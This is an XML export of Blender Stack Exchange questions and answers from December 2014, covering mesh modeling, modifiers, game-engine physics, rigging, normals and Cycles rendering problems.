  <row Id="21126" PostTypeId="2" ParentId="21107" CreationDate="2014-12-19T15:13:04.937" Score="6" Body="&lt;p&gt;There is a script that is specifically tailored to this task, it's called &quot;offset edges&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/offset_edges&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/offset_edges&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has many options that are very helpful, for example vertices at the ends of the offset edge loops can be aligned with the adjacent visible edges etc. You can use negative values of &quot;Width&quot; to offset inwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how to use it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MxH0L.gif&quot; alt=&quot;offset edges&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2014-12-19T15:13:04.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21127" PostTypeId="2" ParentId="21121" CreationDate="2014-12-19T15:39:44.987" Score="3" Body="&lt;p&gt;The problem you are experiencing is due to the way blender calculates the collision for the quads on your ground plane. There are two ways to fix this, you can use a cube as ground instead (with collision bounds set to box), or you can set your plane's collision type to box, even though a plane is infinitely thin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help see the problem,&#xA;First turn on &lt;em&gt;Physics Visualization&lt;/em&gt;.&#xA;This does not effect anything except what you see, so in the end it does not matter if it is on or off.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kv7RV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your plane's collision bounds are not set to anything, blender automatically calculates it as if it were made up of two triangles.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/c08i2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you set it to Box collision, This problem goes away.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UedLc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a thin cube instead for your ground, (with collision type set to box) this problem goes away entirely.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Dw9XZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you can try is putting all of your logic bricks and python on a invisible low detail object, for a collision mesh, and having your detailed car as no-collision but parented to the collision mesh. Even if this alone does not remove the shaking, it will dramatically help performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/276/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=276&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-06-16T01:48:04.317" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21128" PostTypeId="1" CreationDate="2014-12-19T16:01:59.497" Score="0" ViewCount="55" Body="&lt;p&gt;There are artifacts visible on my render. Have you any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My configuration :&#xA;Windows 7 64 bits&#xA;Memory : 12 go&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.72-27b58f0-win64&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 x GTX Titan Black&#xA;Driver : 344.75&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ygcJn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RESOLVED ! Origin this problem is don't plug entry normal map in the shader&lt;/p&gt;&#xA;" OwnerUserId="9574" LastEditorUserId="9574" LastEditDate="2015-03-02T10:29:08.700" LastActivityDate="2015-03-02T10:29:08.700" Title="Cycles artifacts" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-12-19T16:32:15.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="21129" PostTypeId="1" AcceptedAnswerId="21130" CreationDate="2014-12-19T16:24:15.933" Score="3" ViewCount="247" Body="&lt;p&gt;I have used the mirror tool in the X and Y axes to create a cone-like surface that is symmetrical in both directions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to modify this surface to add details to it that are only symmetrical along the X axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I attempt to make the changes I want now, it mirrors onto all four faces of the shape. If I attempt to remove or change the mirror, it deletes the mirrored parts of the object, which I want to keep.&lt;/p&gt;&#xA;" OwnerUserId="9575" LastEditorUserId="2217" LastEditDate="2014-12-19T16:33:48.403" LastActivityDate="2014-12-19T16:33:48.403" Title="How to change mirror part way through making object without changing object?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21130" PostTypeId="2" ParentId="21129" CreationDate="2014-12-19T16:28:02.710" Score="3" Body="&lt;p&gt;You have to apply the mirror modifier for the Y axis. To apply a modifier press the the &lt;a href=&quot;https://blender.stackexchange.com/a/17737/2217&quot;&gt;apply button&lt;/a&gt; on the modifier. Then you can go back in to edit mode and your details will only be symmetrical along the X axis.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-12-19T16:28:02.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21131" PostTypeId="1" AcceptedAnswerId="21133" CreationDate="2014-12-19T16:57:09.940" Score="4" ViewCount="5282" Body="&lt;p&gt;I have moved multiple vertices gradually but a set of vertices at a time not all at a time, as shown in the animation below (First I moved the four vertices from top, then three, then two and at last the last vertex).&#xA; I wanted to do the same thing as shown in the animation below but all at a time.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Tzm3q.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9577" LastEditorUserId="2217" LastEditDate="2014-12-19T17:01:09.567" LastActivityDate="2014-12-19T19:49:57.597" Title="Is their a way to move multiple vertices gradually at a time?" Tags="&lt;modeling&gt;&lt;transforms&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21133" PostTypeId="2" ParentId="21131" CreationDate="2014-12-19T17:08:41.700" Score="5" Body="&lt;p&gt;You can get the movement you want all at once with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Proportional_Edit&quot; rel=&quot;noreferrer&quot;&gt;proportional editing&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the top vertex&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;O&lt;/kbd&gt; to enable proportional editing&lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Proportional_Edit#Options&quot; rel=&quot;noreferrer&quot;&gt;Falloff&lt;/a&gt; type to be either &lt;em&gt;linear&lt;/em&gt; or &lt;em&gt;Smooth&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;G&lt;/kbd&gt; to move the vertices&lt;/li&gt;&#xA;&lt;li&gt;While still moving the vertices, use the mouse wheel to change the size of the influence until it covers all the vertices you want to move.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OGicl.png&quot; alt=&quot;proportional editing&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-12-19T17:08:41.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21134" PostTypeId="1" AcceptedAnswerId="21148" CreationDate="2014-12-19T17:39:53.327" Score="4" ViewCount="1640" Body="&lt;p&gt;I also want to know how to make my car accelerate. Here are my nodes in logic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hp2EP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/50v1E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VrsRA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My car uses Dynamic physics because Character ones make the car shake all the time...&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="13814" LastEditDate="2015-07-01T15:52:16.770" LastActivityDate="2015-07-01T15:52:16.770" Title="How do I make car acceleration in my game?" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21135" PostTypeId="1" CreationDate="2014-12-19T18:30:58.610" Score="0" ViewCount="272" Body="&lt;p&gt;I am a noob when it comes to the blender game engine, in fact blender in general, however I did find an amazingly simple cool thing to do with a the soft body physics in Blender and the ocean modifier.  So I made the animation below and thought to myself, &quot;Hey, I wonder if I can make a screensaver out of this.&quot;  So I looked up a tutorial on makingh a screensaver and found I had to use the blender game engine and make a .exe file then save it has an .scr, but that's not my problem.  I have looked up a lot of tutorials and I can't find a straight answer, but it feels like they are all pointing towards this is currently impossible.  However instead of just scrapping the project, I decided to look for the wonderful people of the internet's advice.  Can you recreate this in blender game as a .exe file and still have it be randomized?  Also, if you can how do I reset the screensaver when the cube hits the plane at the bottom?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies for my long windedness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Fixed the links, my bad :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;General idea animation:  &lt;a href=&quot;https://drive.google.com/open?id=0B5WX5WPaU3pHZF9yVXR1MmIxMnc&amp;amp;authuser=0&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/open?id=0B5WX5WPaU3pHZF9yVXR1MmIxMnc&amp;amp;authuser=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender file:  &lt;a href=&quot;https://drive.google.com/open?id=0B5WX5WPaU3pHcUhlTDdCUkJ5ZGs&amp;amp;authuser=0&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/open?id=0B5WX5WPaU3pHcUhlTDdCUkJ5ZGs&amp;amp;authuser=0&lt;/a&gt;&#xA;Pasteall:  &lt;a href=&quot;http://www.pasteall.org/blend/33679&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/33679&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ignore the other objects in the second layer, I was going to figure out how to add more stuff bouncing around and adding an empty to spawn objects at random so I didn't have to reset the program.&lt;/p&gt;&#xA;" OwnerUserId="8275" LastEditorUserId="8275" LastEditDate="2015-01-05T18:43:06.987" LastActivityDate="2015-01-05T18:43:06.987" Title="How do I use soft body and the ocean modifier to make a random screensaver?" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;soft-body&gt;&lt;ocean-simulation&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21136" PostTypeId="2" ParentId="21131" CreationDate="2014-12-19T19:49:57.597" Score="2" Body="&lt;p&gt;I think that David's solution would work very well for you. If you don't want to affect the nearest vertices just hide them with &lt;kbd&gt;H&lt;/kbd&gt;. Changing the &lt;em&gt;Proportional Editing&lt;/em&gt; type to &lt;strong&gt;&lt;em&gt;Connected&lt;/em&gt;&lt;/strong&gt; may be also helpful and work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xeLEK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2014-12-19T19:49:57.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21137" PostTypeId="1" AcceptedAnswerId="21145" CreationDate="2014-12-19T19:52:22.980" Score="6" ViewCount="429" Body="&lt;p&gt;In the attached &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/95/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend File&lt;/a&gt;, I have a representation of a airplane/jet fighter (cube scaled at one end to indicate direction of flight). I am using &lt;em&gt;torque&lt;/em&gt; to steer, and adding &lt;em&gt;Linear Velocity&lt;/em&gt; along a local axis for thrust/brakes. What I want to know is how to clamp the velocity along the plane's local axis so when the plane steers, it does not simply keep flying in the direction that is was before it turned. I would prefer a solution with logic bricks, but if that is not possible, python would be acceptable. (it just needs to keep a speed relative to how long the thrust/breaks have been held no mater which direction it is pointing.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/95/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=95&quot; /&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-11T02:48:37.660" Title="Clamp velocity along local axis" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21139" PostTypeId="1" AcceptedAnswerId="21140" CreationDate="2014-12-19T20:32:03.477" Score="1" ViewCount="149" Body="&lt;p&gt;I'm trying to create pleats on a garment I'm trying to model. Currently it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8IV0U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not clear how to explain this...I want to &quot;push&quot; the selected faces together, the way we create pleats. If you consider each of those faces to be cloth, I want to fold them inwards. Each pair of face forms a V as you can see. I want these faces to come closer, with the edge connecting them acting as a fold edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer: NoviceInDisguise's comment below was the answer: Scale:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fu91M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8438" LastEditorUserId="8438" LastEditDate="2014-12-19T20:43:39.263" LastActivityDate="2014-12-19T21:03:42.167" Title="Push faces together" Tags="&lt;modeling&gt;&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21140" PostTypeId="2" ParentId="21139" CreationDate="2014-12-19T21:03:42.167" Score="3" Body="&lt;p&gt;What you are looking for is &lt;code&gt;Scale&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;S&lt;/kbd&gt; and then &lt;kbd&gt;Y&lt;/kbd&gt; and scale as desired.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-12-19T21:03:42.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21141" PostTypeId="1" CreationDate="2014-12-19T21:27:16.913" Score="1" ViewCount="182" Body="&lt;p&gt;When i translate the Torso/Root controller, the eye look at works as it should but the individual eye targets inherit double transform, which result in eyes facing in another direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i fix this?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PM4zm.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="7579" LastActivityDate="2015-01-19T20:33:53.007" Title="Eyes/ Double Transform" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21142" PostTypeId="1" CreationDate="2014-12-19T22:01:36.423" Score="1" ViewCount="454" Body="&lt;p&gt;When I use the text tool, my letters always appear as boxes on the side menus and do not appear in the render area. In fact, whenever I type in blender I just get a string of boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="9579" LastEditorUserId="599" LastEditDate="2014-12-20T00:10:52.563" LastActivityDate="2014-12-20T20:00:14.790" Title="Text appears as string of boxes" Tags="&lt;text-object&gt;&lt;text-editor&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-12-20T20:37:16.763" ContentLicense="CC BY-SA 3.0" />
  <row Id="21143" PostTypeId="1" AcceptedAnswerId="21144" CreationDate="2014-12-19T22:27:35.870" Score="3" ViewCount="497" Body="&lt;p&gt;How important is it to keep meshes low-poly? When I model I feel bad about adding high-poly detail and don't do it because when I started with Blender I read some stuff against high-poly modeling, but now I'm confused.&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="1253" LastEditDate="2014-12-19T23:25:15.023" LastActivityDate="2014-12-19T23:31:28.443" Title="Importance of keeping meshes low-poly" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2017-02-19T20:52:52.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="21144" PostTypeId="2" ParentId="21143" CreationDate="2014-12-19T23:31:28.443" Score="9" Body="&lt;p&gt;It's completely unimportant, until you hit some limitation. Once you do, you know where it'll hurt, and possibly how to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A high-poly model can be used to bake bump maps, shadow maps, etc. which can be used to give a low-poly model a high-poly look. So even though you may not use the high-poly version in the end, it still is useful.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-12-19T23:31:28.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21145" PostTypeId="2" ParentId="21137" CreationDate="2014-12-19T23:41:41.133" Score="5" Body="&lt;p&gt;You're on the right track with your setup. What you want to avoid, is the overshoot you get when turning. This can be controlled with the linear (&quot;Translation&quot;) and angular (&quot;Rotation&quot;) damping:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ysW7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you increase those values, as in this screenshot, you'll get much closer to the behaviour you're looking for. You probably also need to increase the velocities in your logic bricks, to compensate for the loss in speed due to the damping.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-12-19T23:41:41.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21146" PostTypeId="2" ParentId="19009" CreationDate="2014-12-19T23:50:59.410" Score="4" Body="&lt;p&gt;You can add a game property to an object, of type &quot;Timer&quot;. For my BGE project, I created an Empty named &quot;Clock&quot;, just for this purpose. It has one game property &quot;GAME_TIME&quot;, as shown on this screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1R1AU.png&quot; alt=&quot;Timer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this property to keep track of time, as it'll increase as long as the game is running. You can also set it to 0.0 to restart the timer.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-12-19T23:50:59.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21147" PostTypeId="1" AcceptedAnswerId="21149" CreationDate="2014-12-20T00:31:06.527" Score="2" ViewCount="356" Body="&lt;p&gt;I have a simple character rig, and I want my &lt;em&gt;Mouse Look&lt;/em&gt; actuator to work with my a bone in my character rig, not my object. How can I achieve this? I want my character head to look up when my mouse does. (Left and right does not matter)&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="2217" LastEditDate="2014-12-22T18:22:54.277" LastActivityDate="2014-12-22T18:22:54.277" Title="Make MouseLook actuator follow rig" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21148" PostTypeId="2" ParentId="21134" CreationDate="2014-12-20T00:52:10.630" Score="2" Body="&lt;p&gt;I'm not very sure if this is how you will like it, but I have a different idea. As you press W, the car's property 'accelerate' will increase. If the property is from interval 0-40; the property will have +6 added every time you hit W (with frequency: 10); the same applies for 41-80; 81-120; etc. It will add less in lower interval, and higher as it goes. For more realism, you can make a lot of intervals where it will add less to the 'accelerate' property when it is at a high speed. Now, when you hold W, the property will add as it looks like acceleration. All that is left is to bind it with however you have done your motion, such as &quot;the car goes x fast if interval is from z to y,&quot; just play around with the values. You can do a very similar technique for deceleration. I have a GIF that is uploading right now of the logic bricks. I will add it to this answer ASAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GIF: &lt;a href=&quot;http://recordit.co/Ahw2QIeaLu&quot; rel=&quot;nofollow&quot;&gt;http://recordit.co/Ahw2QIeaLu&lt;/a&gt;&#xA;-The intervals in the gif are very ruggid, they are: 0-40, 41-80, 81-120. For a racing game, you would want it much smoother, so you may have to do by tens or even five so it can be perfected. When you open the webpage for gif, just pay attention to debug properties.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2014-12-20T00:57:39.420" LastActivityDate="2014-12-20T00:57:39.420" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21149" PostTypeId="2" ParentId="21147" CreationDate="2014-12-20T01:03:33.697" Score="1" Body="&lt;p&gt;Simply add the mouselook to the armature instead. After doing this, you will realize that the ENTIRE rig points to the center of the screen. Quite obviously, this would be undesirable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix, go into edit mode, select the top half of the armature, and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;. Then &lt;kbd&gt;Tab&lt;/kbd&gt; out of edit-mode and &lt;em&gt;Parent&gt;Bone&lt;/em&gt; the top armature to the top bone in the lower armature. see &lt;a href=&quot;https://blender.stackexchange.com/questions/19313/character-made-with-multiple-objects-one-armature-or-different-armatures/19316#19316&quot;&gt;this answer&lt;/a&gt; to do that if you can't figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove the mouselook from the bottom armature, or add it just too the top if you don't have it yet.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-12-20T03:38:41.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21150" PostTypeId="1" CreationDate="2014-12-20T01:16:49.137" Score="5" ViewCount="5114" Body="&lt;p&gt;So I have been extruding a cube to make a low poly banana and when I go from edit to object mode half the edges don't appear as well as half is dark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1UcXm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WmMOk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried looking for an solution couldn't find one and its making me feel like I am doing something wrong so I decided to come here.&lt;/p&gt;&#xA;" OwnerUserId="7822" LastEditorUserId="599" LastEditDate="2014-12-20T02:10:07.477" LastActivityDate="2014-12-20T15:13:53.273" Title="Some mesh-edges in object-mode aren't displayed" Tags="&lt;modeling&gt;&lt;interface&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21151" PostTypeId="1" AcceptedAnswerId="21176" CreationDate="2014-12-20T01:25:48.880" Score="1" ViewCount="817" Body="&lt;p&gt;My new FK-rig is behaving weird when animated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's primarily the arms that behave weirdly. This is the starting pose:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cuPcI.png&quot; alt=&quot;Starting pose&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the end pose:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/k0Jy1.png&quot; alt=&quot;End pose&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far so good, but the animation between the poses moves weirdly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T7Uww.gif&quot; alt=&quot;Weird animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it doing this, and how can I fix it?&#xA;I've only keyframed and have a Bézier Interpolation. The desired movement is a straight line, from pose to pose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to only apply for the left arm. The right arm seems to be working fine.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2014-12-20T14:48:47.123" LastActivityDate="2014-12-20T14:48:47.123" Title="Why is my FK-rig behaving weird when animating?" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21152" PostTypeId="2" ParentId="21150" CreationDate="2014-12-20T02:05:18.387" Score="9" Body="&lt;p&gt;This is normal, as you are in wireframe mode. By default not all edges are displayed in wireframe mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display all edges, enable &lt;em&gt;Draw All Edges&lt;/em&gt; in &lt;em&gt;Properties &gt; Object &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hPsXc.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could switch to solid view by pressing &lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-12-20T02:05:18.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21153" PostTypeId="2" ParentId="21150" CreationDate="2014-12-20T02:09:39.900" Score="3" Body="&lt;p&gt;What you are experiencing is normal behavior.  Unless you have certain modifiers that add geometry (subsurf, remesh, etc.) Blender will not show edges between nearly coplanar faces in order to make viewing easier.  The reason that the edges are showing on the left end of the banana is because the normals are flipped, that is why the faces are darker as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normals basically tell Blender what direction the faces point.  To fix the normals you can select the faces with flipped normal and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; &gt; &lt;em&gt;flip normals&lt;/em&gt;, or select all (&lt;kbd&gt;A&lt;/kbd&gt;), and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; to recalculate normal.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2014-12-20T15:13:53.273" LastActivityDate="2014-12-20T15:13:53.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21154" PostTypeId="1" CreationDate="2014-12-20T02:10:23.263" Score="4" ViewCount="1781" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q7yOE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nkq5l.png&quot; alt=&quot;enter image description here&quot;&gt;I set my render to sample 800 samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look in the corner while rendering it only says 510 and has LOTS of pixelation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never had this problem before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7HFVo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9583" LastEditorUserId="9583" LastEditDate="2014-12-20T02:29:35.867" LastActivityDate="2014-12-20T09:24:42.420" Title="Cycles Not Rendering Specified Samples" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="18" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21155" PostTypeId="1" CreationDate="2014-12-20T03:56:54.393" Score="1" ViewCount="106" Body="&lt;p&gt;I just want to apply the bottom texture (assault rifle) to the side of the model I have currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/XbVe9tR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="9585" LastActivityDate="2014-12-20T06:26:48.287" Title="How do I apply the texture to my object?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
